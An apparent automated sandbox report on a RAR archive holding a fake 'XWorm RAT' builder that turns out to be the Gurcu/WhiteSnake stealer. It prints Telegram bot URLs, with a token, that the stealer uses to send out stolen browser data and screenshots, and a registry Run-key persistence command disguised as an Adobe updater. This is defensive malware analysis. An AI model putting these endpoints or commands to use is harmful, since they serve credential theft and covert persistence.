gurcu | 894569cf4554d6b78e4cadebef076ea4b8a51d58d7307244a5acabf3beafb697

Analysis

max time kernel
299s
max time network
300s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
18-12-2024 03:17

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General

Target

test.rar
Size

32.3MB
MD5

bcceba879a34e34021ec86985b256039
SHA1

7948c9327d3f04da85a37c4d62ed2f8dfca56900
SHA256

894569cf4554d6b78e4cadebef076ea4b8a51d58d7307244a5acabf3beafb697
SHA512

845d10d3c002e198462a951e391b7cc00a790b0c7f339222b87e3df0418f7b8bae34688693b31c531f3f7138fd3620cd4ef37cc3a118d990f15116edf7e50b95
SSDEEP

786432:Us6yVAZZQH0evs7z9kyVbOIuL0x4yI3mgz58pGoOAcHS:Uz+Y7z+yVi4qyItdgLH

Score

10^/10

gurcu discovery persistence spyware stealer

Malware Config

Extracted

Family

gurcu

https://api.telegram.org/bot8077286634:AAG1XHb6leJVqlqfJbmVoJd2ysHqXSznNdQ/sendDocument?chat_id=2024893777&caption=%F0%9F%93%82%20-%20Browser%20data%0A%E2%94%9C%E2%94%80%E2%94%80%20%F0%9F%93%82%20-%20cookies(0.25%20kb

https://api.telegram.org/bot8077286634:AAG1XHb6leJVqlqfJbmVoJd2ysHqXSznNdQ/sendMessage?chat_id=2024893777

https://api.telegram.org/bot8077286634:AAG1XHb6leJVqlqfJbmVoJd2ysHqXSznNdQ/getUpdates?offset=-

https://api.telegram.org/bot8077286634:AAG1XHb6leJVqlqfJbmVoJd2ysHqXSznNdQ/sendDocument?chat_id=2024893777&caption=%F0%9F%93%B8Screenshot%20take

Signatures

Gurcu family
gurcu
Gurcu, WhiteSnake
Gurcu aka WhiteSnake is a malware stealer written in C#.
stealer gurcu

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation	XWorm RAT V2.1.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation	Command Reciever.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation	conhost.exe

Executes dropped EXE 4 IoCs

pid	Process
2180	XWorm RAT V2.1.exe
2900	Command Reciever.exe
2744	Command Reciever.exe
3036	conhost.exe

Loads dropped DLL 2 IoCs

pid	Process
2744	Command Reciever.exe
3036	conhost.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\AdobeUpdate = "C:\\Users\\Admin\\AppData\\Roaming\\AdobeUpdater\\conhost.exe"	reg.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
30	raw.githubusercontent.com
22	raw.githubusercontent.com
23	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
20	ip-api.com

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

pid	Process
2060	tasklist.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Command Reciever.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	XWorm RAT V2.1.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	conhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	conhost.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
736	timeout.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4552	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2744	Command Reciever.exe
2744	Command Reciever.exe
2744	Command Reciever.exe
2744	Command Reciever.exe
2744	Command Reciever.exe
2744	Command Reciever.exe
2744	Command Reciever.exe
2744	Command Reciever.exe
2744	Command Reciever.exe
2744	Command Reciever.exe
2744	Command Reciever.exe
2744	Command Reciever.exe
2744	Command Reciever.exe
2744	Command Reciever.exe
2744	Command Reciever.exe
2744	Command Reciever.exe
2744	Command Reciever.exe
2744	Command Reciever.exe
2744	Command Reciever.exe
2744	Command Reciever.exe
2744	Command Reciever.exe
2744	Command Reciever.exe
2744	Command Reciever.exe
3036	conhost.exe
3036	conhost.exe
3036	conhost.exe
3036	conhost.exe
3036	conhost.exe
3036	conhost.exe
3036	conhost.exe
3036	conhost.exe
3036	conhost.exe
3036	conhost.exe
3036	conhost.exe
3036	conhost.exe
3036	conhost.exe
3036	conhost.exe
3036	conhost.exe
3036	conhost.exe
3036	conhost.exe
3036	conhost.exe
3036	conhost.exe
3036	conhost.exe
3036	conhost.exe
3036	conhost.exe
3036	conhost.exe
3036	conhost.exe
3036	conhost.exe
3036	conhost.exe
3036	conhost.exe
3036	conhost.exe
3036	conhost.exe
3036	conhost.exe
3036	conhost.exe
3036	conhost.exe
3036	conhost.exe
3036	conhost.exe
3036	conhost.exe
3036	conhost.exe
3036	conhost.exe
3036	conhost.exe
3036	conhost.exe
3036	conhost.exe
3036	conhost.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
5016	7zFM.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeRestorePrivilege	5016	7zFM.exe
Token: 35	5016	7zFM.exe
Token: SeSecurityPrivilege	5016	7zFM.exe
Token: SeDebugPrivilege	2744	Command Reciever.exe
Token: SeDebugPrivilege	2060	tasklist.exe
Token: SeDebugPrivilege	3036	conhost.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
5016	7zFM.exe
5016	7zFM.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3036	conhost.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 2180 wrote to memory of 2900	2180	XWorm RAT V2.1.exe	103
PID 2180 wrote to memory of 2900	2180	XWorm RAT V2.1.exe	103
PID 2180 wrote to memory of 2900	2180	XWorm RAT V2.1.exe	103
PID 2180 wrote to memory of 2744	2180	XWorm RAT V2.1.exe	104
PID 2180 wrote to memory of 2744	2180	XWorm RAT V2.1.exe	104
PID 2744 wrote to memory of 3684	2744	Command Reciever.exe	106
PID 2744 wrote to memory of 3684	2744	Command Reciever.exe	106
PID 3684 wrote to memory of 464	3684	cmd.exe	108
PID 3684 wrote to memory of 464	3684	cmd.exe	108
PID 3684 wrote to memory of 2060	3684	cmd.exe	109
PID 3684 wrote to memory of 2060	3684	cmd.exe	109
PID 3684 wrote to memory of 2560	3684	cmd.exe	110
PID 3684 wrote to memory of 2560	3684	cmd.exe	110
PID 3684 wrote to memory of 736	3684	cmd.exe	111
PID 3684 wrote to memory of 736	3684	cmd.exe	111
PID 3684 wrote to memory of 3036	3684	cmd.exe	112
PID 3684 wrote to memory of 3036	3684	cmd.exe	112
PID 3036 wrote to memory of 4076	3036	conhost.exe	114
PID 3036 wrote to memory of 4076	3036	conhost.exe	114
PID 4076 wrote to memory of 4552	4076	cmd.exe	116
PID 4076 wrote to memory of 4552	4076	cmd.exe	116

C:\Program Files\7-Zip\7zFM.exe
"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\test.rar"
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:5016

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1880

C:\Users\Admin\Desktop\XWorm RAT V2.1\XWorm RAT V2.1.exe
"C:\Users\Admin\Desktop\XWorm RAT V2.1\XWorm RAT V2.1.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2180
- C:\Users\Admin\Desktop\XWorm RAT V2.1\Command Reciever.exe
  "C:\Users\Admin\Desktop\XWorm RAT V2.1\Command Reciever.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:2900
- C:\Users\Admin\AppData\Local\Temp\Command Reciever.exe
  "C:\Users\Admin\AppData\Local\Temp\Command Reciever.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2744
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmpFB67.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmpFB67.tmp.bat
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3684
  - - C:\Windows\system32\chcp.com
      chcp 65001
      4⤵
      PID:464
  - - C:\Windows\system32\tasklist.exe
      Tasklist /fi "PID eq 2744"
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:2060
  - - C:\Windows\system32\find.exe
      find ":"
      4⤵
      PID:2560
  - - C:\Windows\system32\timeout.exe
      Timeout /T 1 /Nobreak
      4⤵
      Delays execution with timeout.exe
      PID:736
  - - C:\Users\Admin\AppData\Roaming\AdobeUpdater\conhost.exe
      "C:\Users\Admin\AppData\Roaming\AdobeUpdater\conhost.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Loads dropped DLL
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:3036
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v AdobeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\AdobeUpdater\conhost.exe /f
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4076
      - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v AdobeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\AdobeUpdater\conhost.exe /f
        6⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:4552

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Costura\A54E036D2DCD19384E8EA53862E0DD8F\64\sqlite.interop.dll

Filesize
1.7MB

MD5
65ccd6ecb99899083d43f7c24eb8f869

SHA1
27037a9470cc5ed177c0b6688495f3a51996a023

SHA256
aba67c7e6c01856838b8bc6b0ba95e864e1fdcb3750aa7cdc1bc73511cea6fe4

SHA512
533900861fe36cf78b614d6a7ce741ff1172b41cbd5644b4a9542e6ca42702e6fbfb12f0fbaae8f5992320870a15e90b4f7bf180705fc9839db433413860be6d

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpFB67.tmp.bat

Filesize
269B

MD5
1d38f3b5ad28d5affdea286cea821ed3

SHA1
2d3c47fdc72fc18bb832f4c8f1c43b8eb12ce03c

SHA256
7561ef04329bfc33fac1f824e4e020f3c1d6c91f8108247b5839ca28874de566

SHA512
ab888b7b1132c46a063f447a24cf9f24aec5c4f2332a96d25c000f543788f1ecfa205f2612118202a0ee7330c31ffa9ca5d99f9c1c53c3baf93dd0ecf2a7b75f

Download Submit
C:\Users\Admin\Desktop\XWorm RAT V2.1\Command Reciever.exe

Filesize
6.5MB

MD5
a21db5b6e09c3ec82f048fd7f1c4bb3a

SHA1
e7ffb13176d60b79d0b3f60eaea641827f30df64

SHA256
67d9b4b35c02a19ab364ad19e1972645eb98e24dcd6f1715d2a26229deb2ccf5

SHA512
7caab4f21c33ef90c1104aa7256504ee40ff0a36525b15eb3d48940862346ccf90a16eef87c06d79b0ffd920beb103ed380eae45df8c9286768890b15ed1067c

Download Submit
C:\Users\Admin\Desktop\XWorm RAT V2.1\Resource\data.dat

Filesize
5.6MB

MD5
d650ccbec4cef66b790c0adbd0c690ed

SHA1
7c5323641a28170edb3121d9ad15d7bf643d801d

SHA256
b8735a6c2caa10ed5e886a60be7f2a1edb55e5d26d60b24d24af5613a8a0e474

SHA512
332dc8e1b3952ac3b3fbcfdf1634eaf9720d6bd85e6a1f0baef0f095c97a98d288f301b774c4d041c45ea8ea5ed8e52e8d786a874b8d0ce41dd5dd25a961b535

Download Submit
C:\Users\Admin\Desktop\XWorm RAT V2.1\XWorm RAT V2.1.exe

Filesize
2.2MB

MD5
835f081566e31c989b525bccb943569c

SHA1
71d04e0a86ce9585e5b7a058beb0a43cf156a332

SHA256
ea9258e9975b8925a739066221d996aef19b4ef4f4c91524f82e39d403f25579

SHA512
9ec58f8c586ecf78ef8d75debc5dba58544558566423a634724bb5ab192aaf64f9ccbee9a5af48124a3366b2a7d24b4db71bb5743978201b881c08bad8f6fb0c

Download Submit
memory/2180-136-0x000000007519E000-0x000000007519F000-memory.dmp

Filesize
4KB

Download
memory/2180-137-0x00000000008D0000-0x0000000000B12000-memory.dmp

Filesize
2.3MB

Download
memory/2180-138-0x0000000005A90000-0x0000000006034000-memory.dmp

Filesize
5.6MB

Download
memory/2744-162-0x0000023E54620000-0x0000023E5462A000-memory.dmp

Filesize
40KB

Download
memory/2744-161-0x0000023E3BE20000-0x0000023E3BE3E000-memory.dmp

Filesize
120KB

Download
memory/2744-160-0x0000023E546F0000-0x0000023E54766000-memory.dmp

Filesize
472KB

Download
memory/2744-154-0x0000023E39C70000-0x0000023E3A212000-memory.dmp

Filesize
5.6MB

Download
memory/3036-173-0x0000021CEF810000-0x0000021CEF87A000-memory.dmp

Filesize
424KB

Download
memory/3036-175-0x0000021CEF880000-0x0000021CEF932000-memory.dmp

Filesize
712KB

Download
memory/3036-176-0x0000021CEF930000-0x0000021CEF980000-memory.dmp

Filesize
320KB

Download
memory/3036-177-0x0000021CEEC60000-0x0000021CEEC82000-memory.dmp

Filesize
136KB

Download
memory/3036-179-0x0000021CF07C0000-0x0000021CF07FA000-memory.dmp

Filesize
232KB

Download
memory/3036-180-0x0000021CF0780000-0x0000021CF07A6000-memory.dmp

Filesize
152KB

Download
memory/3036-181-0x0000021CF0800000-0x0000021CF0B2E000-memory.dmp

Filesize
3.2MB

Download
memory/3036-200-0x0000021CF0B50000-0x0000021CF0B62000-memory.dmp

Filesize
72KB

Download